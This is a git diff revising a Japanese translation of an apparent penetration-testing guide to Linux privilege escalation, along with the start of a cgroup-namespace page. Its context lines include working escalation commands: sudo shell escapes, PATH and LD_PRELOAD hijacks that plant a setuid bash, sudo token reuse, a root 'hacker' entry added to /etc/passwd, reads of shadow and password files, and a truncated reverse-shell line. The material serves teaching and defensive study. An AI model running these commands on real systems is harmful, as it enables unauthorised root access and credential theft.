D-Busは**許可/拒否モデル**で動作し、メッセージの権限(メソッド呼び出し、信号の送信など)を、ポリシールールの一致の累積効果に基づいて管理します。これらのポリシーはバスとの相互作用を指定し、これらの権限の悪用を通じて特権昇格を可能にする場合があります。
-`/etc/dbus-1/system.d/wpa_supplicant.conf`にあるそのようなポリシーの例が提供されており、rootユーザーが`fi.w1.wpa_supplicant1`からメッセージを所有、送信、受信するための権限が詳細に説明されています。
+`/etc/dbus-1/system.d/wpa_supplicant.conf`にあるそのようなポリシーの例が提供されており、rootユーザーが`fi.w1.wpa_supplicant1`からメッセージを所有、送信、受信するための権限を詳細に説明しています。
-指定されたユーザーやグループがないポリシーは普遍的に適用され、"デフォルト"コンテキストポリシーは他の特定のポリシーにカバーされていないすべてに適用されます。
+指定されたユーザーまたはグループがないポリシーは普遍的に適用され、"デフォルト"コンテキストポリシーは他の特定のポリシーにカバーされていないすべてに適用されます。
```xml
@@ -629,7 +629,7 @@ timeout 1 tcpdump
### 一般的な列挙
-**自分**が誰で、どの**権限**を持っているか、システムにどの**ユーザー**がいるか、どのユーザーが**ログイン**でき、どのユーザーが**root権限**を持っているかを確認します:
+**who**で自分を確認し、どの**privileges**を持っているか、システムにどの**users**がいるか、どれが**login**できるか、どれが**root privileges**を持っているかを確認します。
```bash
#Info about me
id || (whoami && groups) 2>/dev/null
@@ -653,7 +653,7 @@ gpg --list-keys 2>/dev/null
```
### Big UID
-一部のLinuxバージョンには、**UID > INT_MAX**のユーザーが特権を昇格させることを可能にするバグが影響を与えました。詳細情報: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) と [here](https://twitter.com/paragonsec/status/1071152249529884674)。\
+一部のLinuxバージョンは、**UID > INT_MAX**を持つユーザーが特権を昇格させることを可能にするバグの影響を受けました。詳細情報: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) と [here](https://twitter.com/paragonsec/status/1071152249529884674)。\
**これを利用する**には: **`systemd-run -t /bin/bash`**
### Groups
@@ -714,13 +714,13 @@ less>!
```
### NOPASSWD
-Sudoの設定により、ユーザーはパスワードを知らなくても他のユーザーの権限でコマンドを実行できる場合があります。
+Sudoの設定により、ユーザーはパスワードを知らなくても他のユーザーの権限でいくつかのコマンドを実行できる場合があります。
```
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
```
-この例では、ユーザー `demo` が `root` として `vim` を実行できます。これにより、ルートディレクトリにsshキーを追加するか、`sh` を呼び出すことでシェルを取得することが簡単になります。
+この例では、ユーザー `demo` は `root` として `vim` を実行できます。これにより、ルートディレクトリにsshキーを追加するか、`sh` を呼び出すことでシェルを取得することが簡単になります。
```
sudo vim -c '!sh'
```
@@ -757,13 +757,13 @@ sudo less /var/log/something /etc/shadow #Red 2 files
### コマンドパスなしのSudoコマンド/SUIDバイナリ
-**sudo権限**が単一のコマンドに**パスを指定せずに**与えられている場合: _hacker10 ALL= (root) less_、PATH変数を変更することでこれを悪用できます。
+**sudo権限**が単一のコマンドに**パスを指定せずに**与えられている場合: _hacker10 ALL= (root) less_、PATH変数を変更することで悪用できます。
```bash
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
```
-この技術は、**suid** バイナリが **パスを指定せずに別のコマンドを実行する場合**にも使用できます(常に _**strings**_ で奇妙な SUID バイナリの内容を確認してください)。
+この技術は、**suid** バイナリが **パスを指定せずに別のコマンドを実行する場合**にも使用できます(常に奇妙な SUID バイナリの内容を _**strings**_ で確認してください)。
[Payload examples to execute.](payloads-to-execute.md)
@@ -771,7 +771,7 @@ sudo less
もし **suid** バイナリが **パスを指定して別のコマンドを実行する場合**、その場合は、suid ファイルが呼び出しているコマンドと同名の **関数をエクスポート**してみることができます。
-例えば、suid バイナリが _**/usr/sbin/service apache2 start**_ を呼び出す場合、関数を作成してエクスポートする必要があります:
+例えば、suid バイナリが _**/usr/sbin/service apache2 start**_ を呼び出す場合、関数を作成してエクスポートしてみる必要があります:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
@@ -787,7 +787,7 @@ export -f /usr/sbin/service
- ローダーは、実ユーザーID(_ruid_)が有効ユーザーID(_euid_)と一致しない実行可能ファイルに対して **LD_PRELOAD** を無視します。
- suid/sgid の実行可能ファイルに対しては、suid/sgid である標準パスのライブラリのみがプリロードされます。
-特権昇格は、`sudo` でコマンドを実行する能力があり、`sudo -l` の出力に **env_keep+=LD_PRELOAD** という文が含まれている場合に発生する可能性があります。この構成により、**LD_PRELOAD** 環境変数が持続し、`sudo` でコマンドが実行されるときにも認識されるため、特権のある状態で任意のコードが実行される可能性があります。
+特権昇格は、`sudo` を使用してコマンドを実行する能力があり、`sudo -l` の出力に **env_keep+=LD_PRELOAD** という文が含まれている場合に発生する可能性があります。この構成により、**LD_PRELOAD** 環境変数が持続し、`sudo` でコマンドが実行されるときにも認識されるため、特権のある状態で任意のコードが実行される可能性があります。
```
Defaults env_keep += LD_PRELOAD
```
@@ -836,13 +836,13 @@ sudo LD_LIBRARY_PATH=/tmp
```
### SUIDバイナリ – .soインジェクション
-**SUID**権限を持つバイナリに遭遇した際に異常に見える場合、**.so**ファイルが正しく読み込まれているか確認することは良い習慣です。これを確認するには、次のコマンドを実行します:
+**SUID**権限を持つバイナリに遭遇した際に異常に見える場合、正しく**.so**ファイルを読み込んでいるか確認することが良い習慣です。これは次のコマンドを実行することで確認できます:
```bash
strace 2>&1 | grep -i -E "open|access|no such file"
```
例えば、_“open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (そのようなファイルやディレクトリはありません)”_ のようなエラーに遭遇することは、悪用の可能性を示唆しています。
-これを悪用するには、_"/path/to/.config/libcalc.c"_ というCファイルを作成し、以下のコードを含めることになります:
+これを悪用するには、_"/path/to/.config/libcalc.c"_ というCファイルを作成し、以下のコードを含めることになります:
```c
#include
#include
@@ -859,9 +859,9 @@ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
```bash
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
```
-最終的に、影響を受けたSUIDバイナリを実行すると、エクスプロイトがトリガーされ、システムの侵害の可能性が生じます。
+最終的に、影響を受けた SUID バイナリを実行すると、エクスプロイトがトリガーされ、システムの侵害の可能性が生じます。
-## 共有オブジェクトハイジャック
+## Shared Object Hijacking
```bash
# Lets find a SUID using a non-standard library
ldd some_suid
@@ -892,9 +892,9 @@ system("/bin/bash -p");
### GTFOBins
-[**GTFOBins**](https://gtfobins.github.io) は、攻撃者がローカルセキュリティ制限を回避するために悪用できるUnixバイナリのキュレーションされたリストです。[**GTFOArgs**](https://gtfoargs.github.io/) は、コマンドに**引数のみを注入できる**場合の同様のリストです。
+[**GTFOBins**](https://gtfobins.github.io) は、攻撃者がローカルのセキュリティ制限を回避するために悪用できるUnixバイナリのキュレーションされたリストです。[**GTFOArgs**](https://gtfoargs.github.io/) は、コマンドに**引数のみを注入できる**場合の同様のリストです。
-このプロジェクトは、制限されたシェルから抜け出し、特権を昇格または維持し、ファイルを転送し、バインドおよびリバースシェルを生成し、他のポストエクスプロイトタスクを容易にするために悪用できるUnixバイナリの正当な関数を収集します。
+このプロジェクトは、制限されたシェルから抜け出したり、特権を昇格または維持したり、ファイルを転送したり、バインドシェルやリバースシェルを生成したり、他のポストエクスプロイトタスクを容易にするために悪用できるUnixバイナリの正当な関数を収集しています。
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
@@ -915,12 +915,12 @@ https://gtfoargs.github.io/
### Sudoトークンの再利用
-**sudoアクセス**はあるがパスワードがない場合、**sudoコマンドの実行を待ってからセッショントークンをハイジャックする**ことで特権を昇格できます。
+**sudoアクセス**はあるがパスワードがない場合、**sudoコマンドの実行を待ってからセッショントークンをハイジャックすることで特権を昇格できます**。
特権を昇格するための要件:
-- "_sampleuser_" としてシェルを持っている
-- "_sampleuser_" が**過去15分以内に `sudo`**を使用して何かを実行している(デフォルトでは、これはパスワードを入力せずに `sudo` を使用できるsudoトークンの期間です)
+- すでに "_sampleuser_" としてシェルを持っている
+- "_sampleuser_" が**過去15分間に `sudo`**を使用して何かを実行している(デフォルトでは、これはパスワードを入力せずに `sudo` を使用できるsudoトークンの期間です)
- `cat /proc/sys/kernel/yama/ptrace_scope` が 0 である
- `gdb` にアクセス可能である(アップロードできる必要があります)
@@ -928,7 +928,7 @@ https://gtfoargs.github.io/
これらの要件がすべて満たされている場合、**次の方法で特権を昇格できます:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
-- **最初のエクスプロイト** (`exploit.sh`) は、_/tmp_ にバイナリ `activate_sudo_token` を作成します。これを使用して**セッション内でsudoトークンをアクティブにできます**(自動的にルートシェルは取得できませんので、`sudo su` を実行してください):
+- **最初のエクスプロイト** (`exploit.sh`) は、_ /tmp_ にバイナリ `activate_sudo_token` を作成します。これを使用して**セッション内でsudoトークンをアクティブにできます**(自動的にルートシェルは取得できませんので、`sudo su` を実行してください):
```bash
bash exploit.sh
/tmp/activate_sudo_token
@@ -946,15 +946,15 @@ sudo su
```
### /var/run/sudo/ts/\
-フォルダー内のファイルに**書き込み権限**がある場合、バイナリ[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)を使用して**ユーザーとPIDのためのsudoトークンを作成**できます。\
-たとえば、ファイル_/var/run/sudo/ts/sampleuser_を上書きでき、PID 1234のそのユーザーとしてシェルを持っている場合、パスワードを知らなくても**sudo権限を取得**できます。
+フォルダ内の作成されたファイルに**書き込み権限**がある場合、バイナリ[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)を使用して**ユーザーとPIDのためのsudoトークンを作成**できます。\
+例えば、ファイル_/var/run/sudo/ts/sampleuser_を上書きでき、PID 1234のそのユーザーとしてシェルを持っている場合、パスワードを知らなくても**sudo権限を取得**できます。
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
```
### /etc/sudoers, /etc/sudoers.d
ファイル `/etc/sudoers` と `/etc/sudoers.d` 内のファイルは、誰が `sudo` を使用できるか、そしてその方法を設定します。これらのファイルは **デフォルトではユーザー root とグループ root のみが読み取ることができます**。\
-**もし**このファイルを**読む**ことができれば、**興味深い情報を取得できる**かもしれません。そして、もし**書き込む**ことができるファイルがあれば、**特権を昇格させる**ことができるでしょう。
+**もし** このファイルを **読む** ことができれば、**興味深い情報を取得できる可能性があります**。また、**任意のファイルに書き込む** ことができれば、**特権を昇格させる** ことができます。
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
@@ -981,7 +981,7 @@ permit nopass demo as root cmd vim
もし**ユーザーが通常マシンに接続し、`sudo`を使用して特権を昇格させる**ことを知っていて、そのユーザーコンテキスト内でシェルを取得した場合、**新しいsudo実行可能ファイルを作成**して、あなたのコードをrootとして実行し、その後ユーザーのコマンドを実行させることができます。次に、**ユーザーコンテキストの$PATHを変更**します(例えば、.bash_profileに新しいパスを追加するなど)ので、ユーザーがsudoを実行すると、あなたのsudo実行可能ファイルが実行されます。
-ユーザーが異なるシェル(bash以外)を使用している場合は、新しいパスを追加するために他のファイルを変更する必要があることに注意してください。例えば、[sudo-piggyback](https://github.com/APTy/sudo-piggyback)は`~/.bashrc`、`~/.zshrc`、`~/.bash_profile`を変更します。別の例は[bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)で見つけることができます。
+ユーザーが異なるシェル(bash以外)を使用している場合は、新しいパスを追加するために他のファイルを修正する必要があることに注意してください。例えば、[sudo-piggyback](https://github.com/APTy/sudo-piggyback)は`~/.bashrc`、`~/.zshrc`、`~/.bash_profile`を修正します。別の例は[bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)で見つけることができます。
または、次のようなコマンドを実行します:
```bash
@@ -1004,10 +1004,10 @@ sudo ls
ファイル `/etc/ld.so.conf` は **読み込まれた設定ファイルの場所** を示します。通常、このファイルには次のパスが含まれています: `include /etc/ld.so.conf.d/*.conf`
-これは、`/etc/ld.so.conf.d/*.conf` からの設定ファイルが読み込まれることを意味します。この設定ファイルは **他のフォルダを指し示し**、そこに **ライブラリ** が **検索** されることになります。例えば、`/etc/ld.so.conf.d/libc.conf` の内容は `/usr/local/lib` です。 **これは、システムが `/usr/local/lib` 内でライブラリを検索することを意味します**。
+これは、`/etc/ld.so.conf.d/*.conf` からの設定ファイルが読み込まれることを意味します。この設定ファイルは **他のフォルダを指し示し**、そこに **ライブラリ** が **検索される** ことになります。例えば、`/etc/ld.so.conf.d/libc.conf` の内容は `/usr/local/lib` です。 **これは、システムが `/usr/local/lib` 内でライブラリを検索することを意味します**。
-何らかの理由で **ユーザーが書き込み権限を持っている** 場合、次のパスのいずれかに対して: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` 内の任意のファイル、または `/etc/ld.so.conf.d/*.conf` 内の設定ファイル内の任意のフォルダに対して、特権を昇格させることができるかもしれません。\
-この誤設定を **どのように悪用するか** を次のページで確認してください:
+何らかの理由で **ユーザーが書き込み権限を持っている** 場合、次のパスのいずれかに対して: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` 内の任意のファイル、または `/etc/ld.so.conf.d/*.conf` 内の設定ファイル内の任意のフォルダ、特権を昇格させることができるかもしれません。\
+この誤設定を **どのように悪用するか** については、次のページを参照してください:
{{#ref}}
ld.so.conf-example.md
@@ -1033,7 +1033,7 @@ linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
```
-次に、`/var/tmp` に `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` を使用して悪意のあるライブラリを作成します。
+`/var/tmp`に`gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`を使用して悪意のあるライブラリを作成します。
```c
#include
#define SHELL "/bin/sh"
@@ -1048,8 +1048,8 @@ execve(file,argv,0);
```
## Capabilities
-Linux capabilitiesは、**プロセスに利用可能なroot権限のサブセットを提供します**。これにより、rootの**権限がより小さく、区別された単位に分割されます**。これらの単位はそれぞれ独立してプロセスに付与できます。この方法により、権限の完全なセットが削減され、悪用のリスクが低下します。\
-以下のページを読んで、**capabilitiesについて学び、どのように悪用するかを理解してください**:
+Linux capabilitiesは、**プロセスに利用可能なroot権限のサブセットを提供します**。これにより、rootの**権限がより小さく、独特な単位に分割されます**。これらの単位はそれぞれ独立してプロセスに付与できます。この方法で、権限の完全なセットが削減され、悪用のリスクが低下します。\
+以下のページを読んで、**capabilitiesについておよびそれを悪用する方法を学んでください**:
{{#ref}}
linux-capabilities.md
@@ -1062,7 +1062,7 @@ linux-capabilities.md
## ACLs
-アクセス制御リスト(ACL)は、裁量的権限の二次層を表し、**従来のugo/rwx権限を上書きすることができます**。これらの権限は、所有者やグループの一部でない特定のユーザーに対して権利を付与または拒否することにより、ファイルやディレクトリへのアクセスを強化します。このレベルの**粒度は、より正確なアクセス管理を保証します**。詳細は[**こちら**](https://linuxconfig.org/how-to-manage-acls-on-linux)で確認できます。
+アクセス制御リスト(ACL)は、裁量的権限の二次層を表し、**従来のugo/rwx権限を上書きすることができます**。これらの権限は、所有者やグループの一部でない特定のユーザーに対して権利を付与または拒否することにより、ファイルまたはディレクトリへのアクセスを強化します。このレベルの**粒度は、より正確なアクセス管理を保証します**。詳細は[**こちら**](https://linuxconfig.org/how-to-manage-acls-on-linux)で確認できます。
**ユーザー"kali"にファイルに対する読み取りおよび書き込み権限を与えます**:
```bash
@@ -1124,7 +1124,7 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
2006年9月から2008年5月13日までの間にDebianベースのシステム(Ubuntu、Kubuntuなど)で生成されたすべてのSSLおよびSSHキーは、このバグの影響を受ける可能性があります。\
-このバグは、これらのOSで新しいsshキーを作成する際に発生します。**可能な変種は32,768通りのみでした**。これは、すべての可能性を計算できることを意味し、**ssh公開鍵を持っていれば、対応する秘密鍵を検索できます**。計算された可能性はここで見つけることができます: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
+このバグは、これらのOSで新しいsshキーを作成する際に発生します。**可能な変種は32,768種類のみでした**。これは、すべての可能性を計算できることを意味し、**ssh公開鍵を持っていれば、対応する秘密鍵を検索できます**。計算された可能性はここで見つけることができます: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### SSHの興味深い設定値
@@ -1153,7 +1153,7 @@ AuthorizedKeysFile .ssh/authorized_keys access
SSH エージェントフォワーディングを使用すると、**サーバーにキーを置かずに**(パスフレーズなしで!)**ローカルの SSH キーを使用する**ことができます。これにより、ssh **を介してホストに** **ジャンプ**し、そこから **別の** ホストに **ジャンプ** **することができ**、**初期ホスト**にある **キー**を使用できます。
-このオプションを `$HOME/.ssh.config` に次のように設定する必要があります:
+このオプションを `$HOME/.ssh.config` に次のように設定する必要があります:
```
Host example.com
ForwardAgent yes
@@ -1163,7 +1163,7 @@ ForwardAgent yes
ファイル`/etc/ssh_config`はこの**options**を**override**し、この設定を許可または拒否することができます。\
ファイル`/etc/sshd_config`はキーワード`AllowAgentForwarding`を使用してssh-agentフォワーディングを**allow**または**denied**することができます(デフォルトはallowです)。
-Forward Agentが環境で設定されている場合、次のページを読むことをお勧めします。**特権を昇格させるために悪用できる可能性があります**:
+Forward Agentが環境で設定されている場合、次のページを読んでください。**特権を昇格させるために悪用できるかもしれません**:
{{#ref}}
ssh-forward-agent-exploitation.md
@@ -1181,7 +1181,7 @@ ls -l /etc/profile /etc/profile.d/
### Passwd/Shadow ファイル
-OSによっては、`/etc/passwd` と `/etc/shadow` ファイルが異なる名前を使用しているか、バックアップが存在する場合があります。したがって、**すべてを見つける**ことをお勧めし、**それらを読み取れるか確認**して、ファイル内に**ハッシュがあるかどうか**を確認してください。
+OSによっては、`/etc/passwd` と `/etc/shadow` ファイルが異なる名前を使用しているか、バックアップが存在する場合があります。したがって、**すべてを見つける**ことをお勧めし、**それらを読み取れるか確認**して、ファイル内に**ハッシュがあるか**を確認してください:
```bash
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
@@ -1200,7 +1200,7 @@ openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
```
-ユーザー `hacker` を追加し、生成されたパスワードを追加します。
+次に、ユーザー `hacker` を追加し、生成されたパスワードを追加します。
```
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
@@ -1216,7 +1216,7 @@ su - dummy
```
注意: BSDプラットフォームでは `/etc/passwd` は `/etc/pwd.db` および `/etc/master.passwd` にあり、また `/etc/shadow` は `/etc/spwd.db` に名前が変更されています。
-あなたは **いくつかの機密ファイルに書き込むことができるか** 確認するべきです。例えば、**サービス設定ファイル** に書き込むことができますか?
+あなたは **いくつかの機密ファイルに書き込むことができるか** 確認する必要があります。例えば、**サービス設定ファイル** に書き込むことができますか?
```bash
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
@@ -1231,7 +1231,7 @@ Group=root
### フォルダの確認
-以下のフォルダにはバックアップや興味深い情報が含まれている可能性があります: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root**(最後のものはおそらく読み取れないでしょうが、試してみてください)
+以下のフォルダにはバックアップや興味深い情報が含まれている可能性があります: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root**(最後のものはおそらく読み取れませんが、試してみてください)
```bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
```
@@ -1286,13 +1286,13 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
```
### Known files containing passwords
-[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)のコードを読んでください。これは、**パスワードを含む可能性のあるいくつかのファイルを検索します**。\
-**もう一つの興味深いツール**は、**LaZagne**です。これは、Windows、Linux、Macのローカルコンピュータに保存された多くのパスワードを取得するために使用されるオープンソースアプリケーションです。
+[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)のコードを読んでください。これは**パスワードを含む可能性のあるいくつかのファイルを検索します**。\
+**もう一つの興味深いツール**は、**LaZagne**です。これは、Windows、Linux、Mac用にローカルコンピュータに保存された多くのパスワードを取得するために使用されるオープンソースアプリケーションです。
### Logs
ログを読むことができれば、**その中に興味深い/機密情報を見つけることができるかもしれません**。ログが奇妙であればあるほど、興味深いものになるでしょう(おそらく)。\
-また、**「悪い」**設定(バックドア?)の**監査ログ**は、この記事で説明されているように、監査ログ内に**パスワードを記録する**ことを許可するかもしれません: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。
+また、**「悪い」**構成(バックドア?)の**監査ログ**は、この記事で説明されているように、監査ログ内に**パスワードを記録する**ことを許可するかもしれません: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
@@ -1330,7 +1330,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
`logrotate`の脆弱性により、ログファイルまたはその親ディレクトリに**書き込み権限**を持つユーザーが特権を昇格させる可能性があります。これは、`logrotate`がしばしば**root**として実行され、特に_**/etc/bash_completion.d/**_のようなディレクトリで任意のファイルを実行するように操作できるためです。ログローテーションが適用されるディレクトリだけでなく、_ /var/log _内の権限も確認することが重要です。
> [!NOTE]
-> この脆弱性は`logrotate`バージョン`3.18.0`およびそれ以前のバージョンに影響します
+> この脆弱性は`logrotate`バージョン`3.18.0`およびそれ以前のバージョンに影響します。
脆弱性に関する詳細情報は、次のページで確認できます: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。
@@ -1358,9 +1358,9 @@ DEVICE=eth0
ディレクトリ `/etc/init.d` は **System V init (SysVinit)** のための **スクリプト** のホームです。これは **クラシックなLinuxサービス管理システム** であり、サービスを `start`、`stop`、`restart`、時には `reload` するためのスクリプトが含まれています。これらは直接実行することも、`/etc/rc?.d/` に見られるシンボリックリンクを通じて実行することもできます。Redhatシステムの代替パスは `/etc/rc.d/init.d` です。
-一方、`/etc/init` は **Upstart** に関連しており、Ubuntuによって導入された新しい **サービス管理** で、サービス管理タスクのための設定ファイルを使用します。Upstartへの移行にもかかわらず、SysVinitスクリプトはUpstartの設定とともに利用され続けており、Upstartには互換性レイヤーがあります。
+一方、`/etc/init` は **Upstart** に関連しており、これはUbuntuによって導入された新しい **サービス管理** で、サービス管理タスクのための設定ファイルを使用します。Upstartへの移行にもかかわらず、SysVinitスクリプトはUpstartの設定と共に利用され続けており、Upstartには互換性レイヤーがあります。
-**systemd** は現代の初期化およびサービスマネージャーとして登場し、オンデマンドのデーモン起動、自動マウント管理、システム状態スナップショットなどの高度な機能を提供します。ファイルは配布パッケージ用に `/usr/lib/systemd/` に、管理者の変更用に `/etc/systemd/system/` に整理されており、システム管理プロセスを効率化します。
+**systemd** は現代の初期化およびサービスマネージャーとして登場し、オンデマンドのデーモン起動、自動マウント管理、システム状態スナップショットなどの高度な機能を提供します。これは、配布パッケージ用に `/usr/lib/systemd/` にファイルを整理し、管理者の変更用に `/etc/systemd/system/` に整理し、システム管理プロセスを効率化します。
## Other Tricks
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
index 70a38ed70..bca2f613e 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
@@ -4,15 +4,15 @@
## 基本情報
-cgroup 名前空間は、**名前空間内で実行されているプロセスのための cgroup 階層の隔離を提供する** Linux カーネルの機能です。cgroups(制御グループの略)は、CPU、メモリ、I/O などの**システムリソースに対する制限を管理および強制するためにプロセスを階層的なグループに整理する**ことを可能にするカーネル機能です。
+cgroup 名前空間は、**名前空間内で実行されているプロセスのための cgroup 階層の隔離を提供する Linux カーネルの機能**です。cgroups(制御グループの略)は、CPU、メモリ、I/O などの**システムリソースに対する制限を管理および強制するためにプロセスを階層的にグループ化することを可能にするカーネル機能**です。
-cgroup 名前空間は、以前に議論した他の名前空間タイプ(PID、マウント、ネットワークなど)とは異なる独立した名前空間タイプではありませんが、名前空間の隔離の概念に関連しています。**Cgroup 名前空間は cgroup 階層のビューを仮想化し**、cgroup 名前空間内で実行されているプロセスは、ホストや他の名前空間で実行されているプロセスとは異なる階層のビューを持ちます。
+cgroup 名前空間は、以前に議論した他の名前空間タイプ(PID、マウント、ネットワークなど)とは異なる独立した名前空間タイプではありませんが、名前空間の隔離の概念に関連しています。**cgroup 名前空間は cgroup 階層のビューを仮想化し**、cgroup 名前空間内で実行されているプロセスは、ホストや他の名前空間で実行されているプロセスとは異なる階層のビューを持ちます。
### 仕組み:
-1. 新しい cgroup 名前空間が作成されると、**作成プロセスの cgroup に基づいた cgroup 階層のビューから始まります**。これは、新しい cgroup 名前空間内で実行されるプロセスが、作成プロセスの cgroup に根ざした cgroup サブツリーに制限された、全体の cgroup 階層のサブセットのみを表示することを意味します。
-2. cgroup 名前空間内のプロセスは、**自分の cgroup を階層のルートとして見る**ことになります。これは、名前空間内のプロセスの視点から見ると、自分の cgroup がルートとして表示され、他のサブツリー外の cgroup を見ることもアクセスすることもできないことを意味します。
-3. cgroup 名前空間はリソースの隔離を直接提供するわけではありません; **cgroup 階層のビューの隔離のみを提供します**。**リソースの制御と隔離は、cgroup** サブシステム(例: cpu、memory など)自体によって強制されます。
+1. 新しい cgroup 名前空間が作成されると、**それは作成プロセスの cgroup に基づいた cgroup 階層のビューから始まります**。これは、新しい cgroup 名前空間内で実行されるプロセスが、作成プロセスの cgroup に根ざした cgroup サブツリーに制限された、全体の cgroup 階層のサブセットのみを表示することを意味します。
+2. cgroup 名前空間内のプロセスは、**自分の cgroup を階層のルートとして見る**ことになります。これは、名前空間内のプロセスの視点から見ると、自分の cgroup がルートとして表示され、他のサブツリーの外にある cgroup を見ることもアクセスすることもできないことを意味します。
+3. cgroup 名前空間はリソースの隔離を直接提供するわけではありません; **それは cgroup 階層のビューの隔離のみを提供します**。**リソースの制御と隔離は、cgroup** サブシステム(例: cpu、memory など)自体によって強制されます。
CGroups に関する詳細情報は次を確認してください:
@@ -28,29 +28,29 @@ CGroups に関する詳細情報は次を確認してください:
```bash
sudo unshare -C [--mount-proc] /bin/bash
```
-新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことを保証します。
+新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウント名前空間がその名前空間に特有のプロセス情報の**正確で孤立したビュー**を持つことを保証します。
エラー: bash: fork: メモリを割り当てることができません
-`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです:
+`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) 名前空間を処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです:
1. **問題の説明**:
-- Linux カーネルはプロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しいネームスペースに入らず、その子プロセスのみが入ります。
-- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。
-- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っています。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。
+- Linux カーネルはプロセスが `unshare` システムコールを使用して新しい名前空間を作成することを許可します。しかし、新しい PID 名前空間の作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しい名前空間に入らず、その子プロセスのみが入ります。
+- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID 名前空間に存在します。
